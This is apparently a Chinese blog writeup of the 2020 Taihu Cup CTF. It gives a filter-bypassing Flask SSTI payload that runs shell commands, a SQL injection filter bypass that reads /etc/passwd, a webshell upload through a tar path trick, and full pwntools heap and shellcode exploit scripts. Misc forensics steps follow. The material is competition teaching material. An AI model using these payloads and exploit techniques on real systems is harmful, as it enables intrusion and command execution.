2020首届太湖杯|writeup

       
作者: admin 分类: ctf 发布时间: 2020-11-09 21:56

Web

  • 0x01 checkingame
  • 0x02 easyweb
  • 0x03 crossfire
  • 0x04 ezmd5

0x01 checkingame

浏览器从Sources看下js, config.js和game.js弹出flag 的函数被加密,但限制时间的重载页面可以利用burp抓包,对重载的页面进行抓包改包/ 或者直接把计时的js删去,此时的页面并不会倒计时后重新加载,玩到游戏结束,触发弹出flag的js。

0x02 easyweb

ssti注入

初步可以判断是python flask框架

一开始执行了{{ 1+1 }} 发现{字符被过滤了 这可如何是好

突然想起骚操作绕过字符可以改成 ﹛ 这种格式  美滋滋

﹛﹛1+1 ﹜﹜ 回显2

接下来只要通过魔法方法找到os类查目录下的flag了~

payload:

﹛% for c in [].__class__.__base__.__subclasses__() %﹜
﹛% if c.__name__ == 'catch_warnings'%﹜
  ﹛% for b in c.__init__.__globals__.values() %﹜
  ﹛% if b.__class__ == ﹛﹜.__class__ %﹜
    ﹛% if 'eval' in b.keys() %﹜
      ﹛﹛ b['eval']('__import__("os").popen("cat /flag").read()') ﹜﹜
    ﹛% endif %﹜
  ﹛% endif %﹜
  ﹛% endfor %﹜
﹛% endif %﹜
﹛% endfor %﹜

0x03 crossfire

首先的思路是首页为index.php,有个文件上传,上传的文件没限制并且没有对上传的文件名进行处理,心里美滋滋,上传php小马可惜打开路径后php不解析~

之后 提示 注入 + 跨目录

拿sqlmap跑了下 确实可以注入

爆破出数据库名为: shuyu

union 和 select 被过滤了  但我们可以通过双读写 来进行读文件

ununionion seselectlect load_file(0x2f6574632f706173737764)

读index.php  就能直接看到 还有个submit1 并且支持 并且能够执行tar.py (exec)

我们可以直接把小马文件压缩,改压缩包绝对路径上传tar,就可得到php木马

最后上菜刀 ./readflag

0x04 ezmd5

PWD

0x01 easykooc

mips环境下的pwn ,小端序,dele指针没清0,存在uaf,查看保护,开了canary 但没开pie ,没开nx ,这样思路很清楚,先leak canary 然后写shellcode getshell。

from pwn import *
context.log_level = 'debug'
context(arch='mips', os='linux', endian='little', word_size=32)
libc_addr = 0xf66cd000

libc = ELF('./lib/libc-2.23.so')
system_addr = libc_addr + libc.sym['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh\x00').next()

if args.Q:
	io = process(['qemu-mipsel-static','-g','1234','-L','./','./easyKooc'])
	
elif args.R:
	 io = remote("121.36.166.138", 8890)
else:
	 io = process(['qemu-mipsel-static','-L','./','./easyKooc'])



def add(idx, content):
	io.sendlineafter("choice\n", str(1))
	io.sendlineafter('\n', str(idx))
	io.sendafter('\n', content)

def free(idx):
	io.sendlineafter("choice\n", str(2))
	io.sendlineafter('\n',str(idx))

def edit(content):
    io.sendlineafter("choice\n", str(3))
    io.sendafter('\n',content)

def main():
	sh='''
	li $v0,0x6e69622f
	sw $v0,0($sp)
	li $v0,0x0068732f
	sw $v0,4($sp)
	addiu $a0,$sp,0
	li $v0,4011
	li $a1,0
	li $a2,0
	syscall
	'''
	shellcode = asm(sh)
	libc.address=0x4085f000
	addr=0x004120c0
	main_ret=0x4080019c
	io.sendlineafter("motto!\n",shellcode)
	io.recvuntil("you: 0x")
	stack=int(io.recv(8),16)
	log.success("stack==>"+hex(stack))
	edit('d'*0x21)
	canary=u32(io.recvuntil("\n")[-4:-1].rjust(4,"\x00"))
	log.success("canary==>"+hex(canary))
	edit('\x00'*(0x20-4)+p32(0x41)+p32(canary))
	add(1,'a'*8)
	add(2,'b'*8)
	add(3,'c'*8)
	free(1)
	free(2)
	free(1)
	add(4,p32(stack+0x20))
	add(5,'5'*8)
	add(6,'6'*0x18+p32(canary)+p32(0)+p32(stack))
	add(7,p32(canary)+p32(0)+p32(stack+0x34)+shellcode)
	io.sendlineafter("choice\n", str(4))
	io.interactive()
if __name__=='__main__':
	main()

0x02 seven hero

add是calloc 所以add不走tcache,edit的时候是realloc realloc(0)会把chunk free掉。然后就相当于uaf了。然后正常 改init里面的chunk 可以触发gift 获得libc_base,然后在用相同操作改malloc_hook为ogg,getshell,感觉那个seven hero call 函数完全没有作用2333。

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)


context.log_level='debug'
libc=ELF("./libc.so.6")
if args.Q:
	io=remote("119.3.89.93",8011)
else:
	io=process("./pwn")
def add(idx,sz,ct='a'):
	io.sendlineafter("choice:\n",'1')
	io.sendlineafter("index: ",str(idx))
	io.sendlineafter("size: ",str(sz))
	io.sendlineafter("content: ",ct)
def edit(idx,sz,ct='a'):
	io.sendlineafter("choice:\n",'2')
	io.sendlineafter("index: ",str(idx))
	io.sendlineafter("size: ",str(sz))
	io.sendafter("content: ",ct)
def dele_e(idx,sz=0):
	io.sendlineafter("choice:\n",'2')
	io.sendlineafter("index: ",str(idx))
	io.sendlineafter("size: ",str(sz))
def dele(idx):
	io.sendlineafter("choice:\n",'3')
	io.sendlineafter("index: ",str(idx))
def show(idx):
	io.sendlineafter("choice:\n",'4')
	io.sendlineafter("index: ",str(idx))
def call():
	io.sendlineafter("choice:\n",'5')
def back(ct):
	io.sendlineafter("choice:\n",'666')
	io.recvuntil("gift: ")
	libc_leak=int(io.recv(14),16)-0x264140
	log.success("libc_leak==>"+hex(libc_leak))
	io.sendlineafter("string: ",ct)
	return libc_leak
def main():
	#call()
#16 32 48 64 80 96
	for i in range(8):
		add(i,0x10)
	for i in range(5):
		dele(i+2)
	dele_e(1)
	dele_e(0)
	show(0)
	io.recvuntil('content: ')
	heap_leak=u64(io.recv(6).ljust(8,'\x00'))-0x2a0
	log.success('heap_leak==>'+hex(heap_leak))
	#edit(0,0x50,p64(heap_leak+0x250))
	#add(2,0x50)
	dele_e(7,0)
	edit(7,0x10,p64(heap_leak+0x250))
	add(3,0x10)
	add(3,0x10)
	libc_base=back('abcd')
	malloc_hook=libc_base+libc.sym["__malloc_hook"]
	ogg=libc_base+[0xe237f,0xe2383,0xe2386,0x106ef8][3]
	for i in range(8):
		add(i+9,0x5f)
	for i in range(7):
		dele(i+1+9)
	dele_e(9)
	edit(9,0x5f,p64(malloc_hook-0x23))
	#dele_e()
	#edit(4,0x5f,p64(ogg))
	#edit(0,24,'a'*24)
	add(18,0x5f)
	add(19,0x5f,'a'*0x13+p64(ogg
	))

	#gdb.attach(io,"b *{}".format(ogg))
	io.sendlineafter("choice:\n",'1')
	io.sendlineafter("index: ",str(1))
	io.sendlineafter("size: ",str(1))
	io.interactive()
if __name__=='__main__':
	main()

0x03manager

保护全开,开了沙箱

禁用了execute 也就是禁用了shell,得用orw的方式进行读取flag,查看程序,edit那边跟第二题类似用的是realloc那么就也可以达到uaf的作用。然后后面打free_hook为setcontext+53,然后进行srop,从而orw flag。

#!/usr/bin/python
#coding:utf-8


from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'

if args.Q:
	io=remote('122.112.231.25',8003)
else:
	io=process("./pwn")
	


def lg(s,addr):
print('%20s-->0x%x'%(s,addr))

def add(number,length,info='\n',name='\n'):
io.sendlineafter('>>>',str(1))
io.sendafter('Name',name)
io.sendlineafter('Number',str(number))
io.sendlineafter('len',str(length))
io.sendafter('Info',info)
def dele(number):
io.sendlineafter('>>>',str(3))
io.sendlineafter('Number',str(number))

def edit(number,choice,length,info='\n'):
io.sendlineafter('>>>',str(2))
io.sendlineafter('Number',str(number))
io.sendlineafter('>',str(choice))
io.sendlineafter('len',str(length))
if length != 0:
io.sendafter('info',info)

def show(number):
io.sendlineafter('>>>',str(4))
io.sendlineafter('number',str(number))
def edit_name(payload):
io.sendlineafter('>>>',str(2))
io.sendlineafter('Number',str(4))
io.sendlineafter('>',str(1))
io.sendafter('name',payload)
def main():
	io.sendafter('String1:','\x04\x01\n')
	io.sendafter('String2:','\x01\x70\n')
	add(0,0x80)
	add(1,0x20)
	dele(0)
	add(0,0x80)
	show(0)
	libc_base = u64(io.recvuntil('\x7f',drop=False)[-6:].ljust(8,'\x00')) - 0x3c4b0a
	lg('libc_base',libc_base)
	add(2,0x20)
	add(3,0x20)
	dele(3)
	dele(2)
	add(2,0x20)
	show(2)
	io.recvuntil('Info:')
	heap_base = u64(io.recv(6).ljust(8,'\x00'))-0xa
	lg('heap_base',heap_base)
	payload = p64(0)+p64(0x71)+'\n'
	add(3,0x30,info=payload)
	add(4,0x50,info=p64(0x21)*10,name=p64(0x21)*2)
	add(5,0x60,'./flag\0\0'*8)
	add(6,0x60)
	edit(5,2,0)
	dele(6)
	dele(5)
	environ = libc_base + 0x3c6f38
	add(5,0x60,p64(heap_base+0x3a0)+'\n')
	add(6,0x60)
	payload = p64(0)*5+p64(0x21)+p64(environ)+p64(4)+p64(heap_base+0x190)
	add(7,0x60,payload+'\n')
	add(8,0x68,payload+'\n')
	edit(0,2,0x80,info=p64(heap_base+0x400)+p64(0x20))
	show(4)
	stack = u64(io.recvuntil('\x7f',drop=False)[-6:].ljust(8,'\x00'))
	lg('stack',stack)
	aim1 = stack -0xf0
	payload = p64(0)*5+p64(0x21)+p64(libc_base+0x5f14b0)+p64(4)+p64(heap_base+0x190)
	edit(8,2,0x68,info=payload+'\n')
	show(4)
	io.recvuntil('Name:')
	prog = u64(io.recv(6).ljust(8,'\x00'))-0x2030f8
	lg('prog',prog)
	aim_prog = prog + 0x20303d
	pop_rdi=0x0000000000021112+libc_base
	pop_rsi=0x00000000000202f8+libc_base
	pop_rdx=0x0000000000001b92+libc_base
	free_hook = 0x3c67a8+libc_base
	payload = p64(0)*5+p64(0x21)+p64(free_hook)+p64(4)+p64(heap_base+0x190)
	edit(8,2,0x68,info=payload+'\n')
	payload = p64(libc_base + 0x47b85)
	edit_name(payload)
	frame = SigreturnFrame()
	frame.rax = 0
	frame.rdi = heap_base
	frame.rsi = 0x1000
	frame.rdx = 7
	frame.rip = libc_base + 0x101830
	frame.rsp = heap_base + 0x198
	payload = str(frame)
	add(9,0xf0,payload)
	payload = p64(0)*5+p64(0x21)+p64(heap_base+0x800)+p64(4)+p64(heap_base+0x190)
	edit(8,2,0x68,info=payload+'\n')
	edit(0,2,0x80,'./1234\0\0'+p64(pop_rdi) + p64(heap_base+0x0d0)+p64(pop_rsi) + p64(0)+p64(libc_base+0xf70f0) +p64(pop_rdi)+p64(3) + p64(pop_rdx)+p64(0x30)+p64(pop_rsi)+p64(heap_base+0x400)+p64(libc_base+0xf7310)+p64(pop_rdi) + p64(heap_base+0x400)+p64(libc_base+0x6f6a0)+'./flag\0')
	
add(10,0x20,'./flag\0\0')
	#gdb.attach(io)
	dele(4)
io.interactive()
if __name__=='__main__':
	main()

MISC

0x01 misc

下载附件压缩包,解压出一个加密压缩包,还有一个加密过的docx文档,是伪加密,修复后直接解压,里面有base64加密过后的字符串,然后Wish everybody have fun!!!!!,点击文件->选项->显示->显示隐藏文字,看到waoootu.epj,nv o和www.verymuch.net,访问没有发现什么,最后看到提示知道是希尔密码,解密出love and peaceee,然后Rabbit解密出字符串,经过base32,Unicode,新约佛论禅最后得到Live beautifully, dream passionately, love completely.,将加密压缩包解压出fun.wav,查看频谱图得到flag。

0x02 memory

首先解压出来一个dump文件后,利用volatility做内存分析。volatility-f dump imageinfo看内存系统的版本,然后dump-profile=WINSP0x86 pslist看一下进程,看到有iexplorer.exe文件。接下来-f dump--profile = WINsp 0x86 iehistory看到有png文件

-f dump --profile = WINsp0x86 filecan |grep "png" 看到有可疑的文件。

-f dump --profile=WINSP 0x86 dumpfiles -Q 0x000000003fdf6118 -- dump-dir = ./导出图片。

这样flag看图得出。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注